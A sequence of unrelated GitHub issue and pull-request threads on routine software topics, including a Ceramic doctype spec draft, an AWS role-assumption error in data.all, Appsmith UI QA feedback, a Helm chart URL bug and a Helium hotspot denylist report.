When the DoctypeHandler receives a AnchorRecord it will get the current DocState, the record, and the CID of the record. Based on the information in the anchor as well as the data in the next* properties the content and metadata properties should be updated. The anchorProof should be set to the data contained in the AnchorProof object, and the anchorStatus property should be updated. The CID should be added to the log property.
Implementations
Each doctype CIP should include a reference to an implementation of the doctype.
Common Doctypes
A list of commonly used doctypes can be found in the Doctypes Table (to be included in PR). Since anyone can create and use their own doctype on Ceramic without creating a CIP, this list is non-exhaustive. However it provides a helpful starting point when deciding which doctype to use when publishing content to Ceramic.
If you would like to add a new doctype to the Doctypes Table:

Create an issue in the CIP repo for your doctype and gather community feedback.
Submit a Pull Request adding your doctype to the CIP repo.
Get your CIP finalized.
Submit a Pull Request to the Doctype Table adding your doctype.

Security Considerations

Each doctype CIP should describe if there are any specific security considerations for the specified state transition logic. In general the Ceramic protocol should take care of most security issues, but there might be edge cases worth considering.
Copyright
Copyright and related rights waived via CC0.

@michaelsena Did an edit of your original outline adding a lot of details. ☝

@oed some thoughts:

It might be good to have an array of tags instead of just one, and I can imagine developers wanting to add their appName (or something similar) along with some other categorical information.
Might we want to include tags as an optional property of signed records? This would allow tags to be added after genesis, either adding a tag if it has none, or adding new tags for various reasons (such as additional applications wanting to add their app as a tag).
I think we need to include tags in DocState

@oed I think we should make accessControl an optional meta property (alongside owners, schema, tags, etc) of a document included in the general Doctype specification (both genesis and signed). This would allow users to plug in a reference to some access control provider (either Ceramic document as described here), or some other mechanism.

@michaelsena accessControl seems to specific and unrelated to the functioning of the protocol in general. Maybe it could be introduced in tiles specifically instead? Want to try to keep the general parts of the protocol more minimal.
Making the update to tags 👍

@oed I've also been thinking about how we might be able to include links to documents one level above the current document. Theoretically there could be many different documents that point to a given document, so this would likely need to be an array.
i.e. Doc A and Doc B both include links to Doc C. I'm a user and query Doc C, but want to traverse back up the directory. I'd want to know the documents that link to this one.
Maybe this could be something like a paths property that contains an array of docIds that link to the current doc.
Thoughts?

@michaelsena @simonovic86 I updated the original post once more to reflect the recent changes in the spec.

@oed @michaelsena I updated the original post with:

rename Next to DocNext

@oed @michaelsena should we update the type of the schema to string|object? By using the object type can support nested schemas as well

@simonovic86 My worry with doing that is that it will segregate how schemas are defined and also silo them. By enforcing it to live in another Ceramic document devs can easily make use of each others schemas.

@oed good point, makes sense! that will enable versioning as well

@oed @michaelsena updated DocMetadata with isUnique property.


DeployLocally - Failed to assume role

Hello team, we use deploy locally (docker) for Development related unit testing to keep the Dev cycle shorter.
But constantly we face this issue (Failed to assume role) when ever start creating Dataset and hence cannot move forward with other features
P.S. Environment was bootstrapped successfully.
Any suggestion, having locally running set up help each Dev member to speed up the Dev cycle.
it is data.all 2.0.0
Error -
Failed to assume role arn:aws:iam::0123456789:role/dataallPivotRole due to: An error occurred (AccessDenied) when calling the AssumeRole operation: User<EMAIL_ADDRESS>is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::0123456789:role/dataallPivotRole

Hi @sandeephs1 this issue is most probably due to the permissions of your user and the restrictions of the pivotRole.
Both, dataallPivotRole and dataallPivotRole-cdk have a trust policy that limits the principals that can assume the role. In the CloudFormation definition we restrict it to the following roles:
                  !Sub "arn:aws:iam::${AwsAccountId}:role/*graphql-role",
                  !Sub "arn:aws:iam::${AwsAccountId}:role/*awsworker-role",
                  !Sub "arn:aws:iam::${AwsAccountId}:role/*ecs-tasks-role"

<EMAIL_ADDRESS>does not fulfill any of the conditions. For local development you can remove that permission so that your role can assume the pivot role.
Thanks for drawing our attention to the issue, we will update the docs

At first we thought about including more documentation, but after speaking with @petrkalos I think we should think of a more streamlined experience for developers. Starting data.all locally should be the easiest of tasks for a developer. As part of these efforts we want to:

avoid SSM parameters in the local development
avoid trust policies in pivot roles for local development
Maybe we can do that through a local configuration file or with docker. What do you think @sandeephs1, @noah-paige, @SofiaSazonova?

@sandeephs1 #1176 should resolve this issue, but we will work on other improvements to simplify the developer experience. If you have any suggestions or pain points please comment in this issue: https://github.com/data-dot-all/dataall/issues/1180


Proposed fix for #40 by @a-detiste

Any comments @evgeni @a-detiste @stopiccot ?

Closes #40

Resolve #40


Test and guarantee that we are resiliant to Pending conflict eviction

This should have been tested and fixed by https://github.com/iotaledger/iota-core/pull/399


Fix update of the image title field for a gallery item

Because the title was not saved after clicking the save button.

thanks!


feat: signposting update

Description
PR fixes following issue(s)
Fixes https://github.com/appsmithorg/appsmith/issues/23746

if no issue exists, please create an issue and ask the maintainers about this first

Media

A video or a GIF is preferred. when using Loom, don’t embed because it looks like it’s a GIF. instead, just link to the video

Type of change

Please delete options that are not relevant.

Bug fix (non-breaking change which fixes an issue)
New feature (non-breaking change which adds functionality)
Breaking change (fix or feature that would cause existing functionality to not work as expected)
Chore (housekeeping or task changes that don't impact user perception)
This change requires a documentation update

Testing

How Has This Been Tested?

Please describe the tests that you ran to verify your changes. Also list any relevant details for your test configuration.
Delete anything that is not relevant

[ ] Manual
[ ] Jest
[ ] Cypress

Test Plan

Add Testsmith test cases links that relate to this PR

Issues raised during DP testing
Comment 1
Comment 2

Checklist:
Dev activity

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] PR is being merged under a feature flag

QA activity:

[ ] Speedbreak features have been covered
[ ] Test plan covers all impacted features and areas of interest
[ ] Test plan has been peer reviewed by project stakeholders and other QA members
[ ] Manually tested functionality on DP
[ ] We had an implementation alignment call with stakeholders post QA Round 2
[ ] Cypress test cases have been added and approved by SDET/manual QA
[ ] Added Test Plan Approved label after Cypress tests were reviewed
[ ] Added Test Plan Approved label after JUnit tests were reviewed

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

@akash-codemonk Testing inprogress for the given DP. But below are the few things observed till now.

[ ] The length of the signposting flow is large compared to the designs. Also the whole pop-up looks hazy (Windows on Chrome browser)

[ ] UI Improvements - should be 5 mins and not min

[ ] Hover on hover found for Documentation icon at every step

[ ] Scroll seen for the pop up though there is no content to scroll below

[ ] Clicking on the Help tooltip opens the popup
https://www.loom.com/share/d0d08e53db6b483eaa53c51c941b5544

[ ] Default state pop up closed as seen in Screen 3 in Zeplin (Under Step 1 default state) a red indicator is missing when pop up is closed
https://www.loom.com/share/a8ae1c37e3114245bdd4ef0dcf884242

[ ] Red indicator missing on Help hover after Step1 is completed. Also party popper :tada: emoji is missing.

[ ] The checkmark icon after each step completion differs from the design

[ ] An additional click is required to create a query for Step 2. Demo

[ ] Missing Screen after step2. Demo

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

@RoopKrrish9696 @akash-codemonk Lot of white spaces seen in this modal. Can it be reduced?
cc : @ramsaptami

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

@akash-codemonk Testing inprogress for the given DP. But below are the few things observed till now.

[x]  Scroll seen for the pop up though there is no content to scroll below

Have added a scroll to the steps instead for smaller screens.

[ ]  Clicking on the Help tooltip opens the popup
https://www.loom.com/share/d0d08e53db6b483eaa53c51c941b5544

No fix for now as it happens on release as well.

[x]  The checkmark icon after each step completion differs from the design

Implementation has an animation which is different. Not a bug this is expected.

[x]  An additional click is required to create a query for Step 2. Demo

Expected. DS behaviour after clicking outside of a menu.

[x]  Missing Screen after step2. Demo

Expected. Post run we don't show a tooltip of red dot as it isn't one of the steps. The red dot/notification will be shown when a step is completed. It will go away once the signposting popup is opened i.e marking it as read.

@akash-codemonk

[ ] Clicking on Documentation link on the last step shows step completed. Also clicking on documentation on the first step takes the user to the Datasource page. Demo

[ ] When signposting flow is over, hover on Help in a new app does not show tooltip. Shows only on refresh it does. Also this is not consistent behavior
https://www.loom.com/share/686a3b6b996c48569b831b69d3e70ee2

[ ] Tooltip border differs from design.

/build-deploy-preview skip-tests=true

@akash-codemonk

[ ]  When signposting flow is over, hover on Help in a new app does not show tooltip. Shows only on refresh it does. Also this is not consistent behavior
https://www.loom.com/share/686a3b6b996c48569b831b69d3e70ee2

Unable to repro

[ ]  Tooltip border differs from design. Also capital 'R' for resources

This seems to be an ADS issue on windows. Same happens on release. No fix for now.

[ ]  Add a template from homepage and observe Help and Resources does not show signposting flow modal
https://www.loom.com/share/85aefbd07cfd4ffd8e62f2f699ca1b70

No fix for now. This behaviour exists on release. Also this happens for other app creation flows like import app, fork app, etc. Will be taken up separately.

/build-deploy-preview skip-tests=true

/ok-to-test

Round 2 Testing update :

[ ] Tooltip border differs from design.
Retesting done >> Fix is working fine

[ ] Clicking on Documentation link on the last step shows step completed. Also clicking on documentation on the first step takes the user to the Datasource page. Demo
Retesting done>> Fix is working fine
https://www.loom.com/share/6adf0ea3aa3648b2a2ccf2f126fe92bb?sid=3e2f79b2-1b37-4bd2-850e-2b3599b5ab69

[ ]  Help and resources does not show signposting modal for the first app
https://www.loom.com/share/47c96495571d4922a501ab1e22e48027
Retesting done >> Fix is working
https://www.loom.com/share/14b36fa911f84d75a254f55f295eeab4?sid=f54c73e6-d242-4d10-83d3-1a560f681fa5

/build-deploy-preview

I have one point here,
Hover state corners needs to be rounded. Use ads variable --ads-v2-border-radius for border radius.

/ok-to-test

Round 2 Testing [retesting R1 fixes and feature testing] updates :
Issue 1 : Help tool tip border for 1 to 5 steps differs from design

Issue 2 : Close link (x) on signposting pop up is not aligned with the title. It is somewhat placed little up from the title. Differes from the design

Issue 3 : Signposting over screen : Help hover shows a tool tip once application is deployed and this tool tip is not mentioned on the design. Please confirm if this is expected

Issue 4 : After sign posting - New drop down screen : We do not see Join Discord option on DP.

Issue 5 : After sign posting - New drop down screen : Browser back button is not responding when we click "Try guided tour" and try to go back using browser back button. Refer video
https://www.loom.com/share/be3b0927525a4511be6ee1f1b676791e?sid=fafed71b-6e9e-4378-b371-6464dbfcc3a4
Issue 6 : Red dot indicator appearance is not consist on switching between pages during the onboarding flow. Please refer video
https://www.loom.com/share/befdb7fa2fa948829a9a346eeafe4bdd?sid=45e770bd-047f-4920-8ae7-78fbe29ffb48

/build-deploy-preview

Round 2 Testing updates :

[ ]  Issue 1 : Help tool tip border for 1 to 5 steps differs from design

Do you mean the white border? This exists on release and visible on windows only I guess. It is an issue with ADS. It won't be fixed in this PR

[ ]  Issue 3 : Signposting over screen : Help hover shows a tool tip once application is deployed and this tool tip is not mentioned on the design. Please confirm if this is expected

Expected. It was there, probably been removed by mistake in recent updates.

[ ]  Issue 5 : After sign posting - New drop down screen : Browser back button is not responding when we click "Try guided tour" and try to go back using browser back button. Refer video
https://www.loom.com/share/be3b0927525a4511be6ee1f1b676791e?sid=fafed71b-6e9e-4378-b371-6464dbfcc3a4

This is a bug, but it happens on release as well. No fix in this PR.

[ ]  Issue 6 : Red dot indicator appearance is not consist on switching between pages during the onboarding flow. Please refer video
https://www.loom.com/share/befdb7fa2fa948829a9a346eeafe4bdd?sid=45e770bd-047f-4920-8ae7-78fbe29ffb48

It is prioritising the page with the highest number of steps completed here, not intentional but it works. No fix for this.

[ ]  Issue 7 : Join our discord option is not shown on after signposting new drop down screen

Expected. We have intentionally removed join discord option.

Round 2 Testing updates :

[ ]  Issue 1 : Help tool tip border for 1 to 5 steps differs from design

[x]  Issue 2 : Close link (x) on signposting pop up is not aligned with the title. It is somewhat placed little up from the title. Differs from the design

Retesting done looks fine now

[x]  Issue 3 : Signposting over screen : Help hover shows a tool tip once application is deployed and this tool tip is not mentioned on the design. Please confirm if this is expected

[x]  Issue 4 : Signposting over screen : Close link (X) is not aligned with the title and placed little up

Retesting done looks fine

[ ]  Issue 5 : After sign posting - New drop down screen : Browser back button is not responding when we click "Try guided tour" and try to go back using browser back button. Refer video
https://www.loom.com/share/be3b0927525a4511be6ee1f1b676791e?sid=fafed71b-6e9e-4378-b371-6464dbfcc3a4
[ ]  Issue 6 : Red dot indicator appearance is not consist on switching between pages during the onboarding flow. Please refer video
https://www.loom.com/share/befdb7fa2fa948829a9a346eeafe4bdd?sid=45e770bd-047f-4920-8ae7-78fbe29ffb48
[x]  Issue 7 : Join our discord option is not shown on after signposting new drop down screen

/build-deploy-preview skip-tests=true recreate=true

/ok-to-test

/ok-to-test

/ok-to-test


Import 97f028ee9f: Much prettier hand laser  polylines (by Caitlyn)

This is an automated proposal to look at a commit made by Caitlyn and import it into Overte

Commit:
97f028ee9f9963755e833bb189fa0381443990d3

Author:
Caitlyn

Date:
Fri, 06 Mar 2020 10:44

Much prettier hand laser  polylines

Stats:

Filename
Stats
Lines
Added
Removed
Lines in blame

interface/src/raypick/LaserPointer.cpp

9
5
4
⚠ 0

scripts/system/libraries/pointersUtils.js

9
6
3
⚠ 0

2 files
-
18
11
7
0

To work on this, please assign the issue to yourself, then look at the commit and decide whether this would be a good addition to Overte.

If the commit is useful, tag it with "Tivoli: Keep", and keep it open until it's merged.
If the commit is not useful, tag it with "Tivoli: Discard", and close it.
If the commit is not useful right now, but might be later, tag it with "Tivoli: Maybe later", and close it.
If it's hard to decide, tag it with "Tivoli: Discuss", and keep it open.

Useful commits should be submitted as a PR against Overte. Tag this issue in PR, so that it's automatically closed once the PR is merged.
You can cherry-pick this issue with this command:
git cherry-pick 97f028ee9f9963755e833bb189fa0381443990d3

This didn't make it into the final code, but it might be worthwhile to play with


No module named 'xformers'

2024-04-30 02:51:59,540- root:1882- WARNING- Traceback (most recent call last):
File "/data/zr/ComfyUI/nodes.py", line 1864, in load_custom_node
module_spec.loader.exec_module(module)
File "", line 883, in exec_module
File "", line 241, in _call_with_frames_removed
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/init.py", line 1, in
from .nodes import NODE_CLASS_MAPPINGS
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/nodes.py", line 45, in
from musev.models.facein_loader import load_facein_extractor_and_proj_by_name
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/musev/models/facein_loader.py", line 45, in
from .unet_loader import update_unet_with_sd
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/musev/models/unet_loader.py", line 36, in
from ..models.unet_3d_condition import UNet3DConditionModel
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/musev/models/unet_3d_condition.py", line 72, in
from .temporal_transformer import (
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/musev/models/temporal_transformer.py", line 44, in
from .attention import BasicTransformerBlock
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/musev/models/attention.py", line 38, in
from .attention_processor import IPAttention, BaseIPAttnProcessor
File "/data/zr/ComfyUI/custom_nodes/ComfyUI-MuseV/musev/models/attention_processor.py", line 32, in
import xformers
ModuleNotFoundError: No module named 'xformers'
How to fix it?

pip install -U xformers, beware of torch version


Dependency build generates incorrect url's and fails to save charts

When I run helm dependency build . on the below chart when using the updated repo locations for incubator and stable the chart fails to download. Taking a look at the generated chart URL it appears to be including both stable and incubator into the url's path or potentially prefixing the incorrect repo url to the desired path. If I manually modify the url to remove this inconsistency I am able to curl and download the package. I'm not super familiar with helm so I'm unsure if this is somehow user error or if I have stumbled across a bug.
Helm created url:
https://charts.helm.sh/stable/incubator/packages/kafka-0.21.3.tgz
Modified url:
https://charts.helm.sh/incubator/packages/kafka-0.21.3.tgz
test tstevens$ helm dependency build .
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "cetic" chart repository
...Successfully got an update from the "incubator" chart repository
...Successfully got an update from the "stable" chart repository
...Successfully got an update from the "bitnami" chart repository
Update Complete. ⎈Happy Helming!⎈
Saving 2 charts
Downloading kafka from repo https://charts.helm.sh/incubator
Save error occurred:  could not download https://charts.helm.sh/stable/incubator/packages/kafka-0.21.3.tgz: failed to fetch https://charts.helm.sh/stable/incubator/packages/kafka-0.21.3.tgz : 404 Not Found
Deleting newly downloaded charts, restoring pre-update state
Error: could not download https://charts.helm.sh/stable/incubator/packages/kafka-0.21.3.tgz: failed to fetch https://charts.helm.sh/stable/incubator/packages/kafka-0.21.3.tgz : 404 Not Found

Chart.yaml
apiVersion: v2
name: mychart
description: A Helm chart for Kubernetes
type: application
version: 0.0.1
appVersion: 0.0.1

dependencies:
  - name: kafka
    version: "0.21.3"
    repository: "https://charts.helm.sh/incubator"
  - name: mysql
    version: "1.6.7"
    repository: "https://charts.helm.sh/stable"

Output of helm version:
version.BuildInfo{Version:"v3.4.0", GitCommit:"7090a89efc8a18f3d8178bf47d2462450349a004", GitTreeState:"dirty", GoVersion:"go1.15.3"}

Output of kubectl version:
Client Version: version.Info{Major:"1", Minor:"19", GitVersion:"v1.19.3", GitCommit:"1e11e4a2108024935ecfcb2912226cedeafd99df", GitTreeState:"clean", BuildDate:"2020-10-14T12:50:19Z", GoVersion:"go1.15.2", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"17", GitVersion:"v1.17.5", GitCommit:"e0fccafd69541e3750d460ba0f9743b90336f24f", GitTreeState:"clean", BuildDate:"2020-04-16T11:35:47Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}

Cloud Provider/Platform (AKS, GKE, Minikube etc.):
Rancher
Configured helm repos:
test tstevens$ helm repo list
NAME     	URL
bitnami  	https://charts.bitnami.com/bitnami
cetic    	https://cetic.github.io/helm-charts
stable   	https://charts.helm.sh/stable
incubator	https://charts.helm.sh/incubator

@tstevens Thanks for finding this issue and raising it.
I have confirmed that this is a bug. It is caused by incorrect URLs in the incubator charts GH pages index file. They are loaded by Helm and therefore have the wrong download URL.
I am working on a PR to fix them in the charts projct.

PR https://github.com/helm/charts/pull/24226 pushed.


VSCode Anchors don't appear to work

When I try to make an anchor in VSCode for kali linux, the opportunity to display the markdown anchors don't appear.  The only thing that appears are other external documents/files.
Version: 1.56.2
Commit: 054a9295330880ed74ceaedda236253b4f39a335
Date: 2021-05-12T16:45:26.313Z
Electron: 12.0.4
Chrome: 89.0.4389.114
Node.js: 14.16.0
V8: <IP_ADDRESS>-electron.0
OS: Linux x64 5.10.0-kali3-amd64
└─$ lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux Rolling
Release:        2021.2
Codename:       kali-rolling

/needsMoreInfo

Closing


feat: debug with stacktrace level

stderr: now can set which line to capture
debug: will return all stack trace if no depth level provided

close this, since this is not triggering action


Initial version of VerneMQ HTTP API

The idea is that the HTTP API wrapps all commands of the vmq-admin CLI tool.
https://asciinema.org/a/by17s5dpitqi7qp1blm7zh2bx

@larshesel please review

Hi @dergraf I'll get to this tomorrow or the day after! Haven't forgotten about it... Xmas and all ;)

@dergraf I just pushed the changes for this - feel free to squash/merge if you're ok with the changes...


Update to use standard 7.1.2

Closes:  https://github.com/onmodulus/rabbit-pubsub/issues/3

I would just make a note that you've also properly re-linted and added missing tape dependency. Once you figure out what's going on with travis 👍

Will this PR go from using @modulus/standard to standard? I'm not sure if you'll be changing that back and updating the version of mod-standard.

Addressed further here:  https://github.com/onmodulus/rabbit-pubsub/pull/8


[Addition]: Curly Pewter Horse - > 8 HNT / DAY!

Hotspot b58 Addresses
11gsd5n23BZZ4k26oR6do89ayfj8faCryBUiTEJ6hLjYcunk65c
Discord Handle
tr1plx#9421
Reason(s)
Firmware-Hack?
Packet-Forwarder?
Hacking-Voodoo?
STOP IT PLEASE!

Dear Denylist team. please wake up This spot was reported several times in less than 48 hours. But you will not respond promptly. The Denylist community with valuable tips has become strong in the last few weeks, but there is no timely response. This is frustrating. Where is the problem?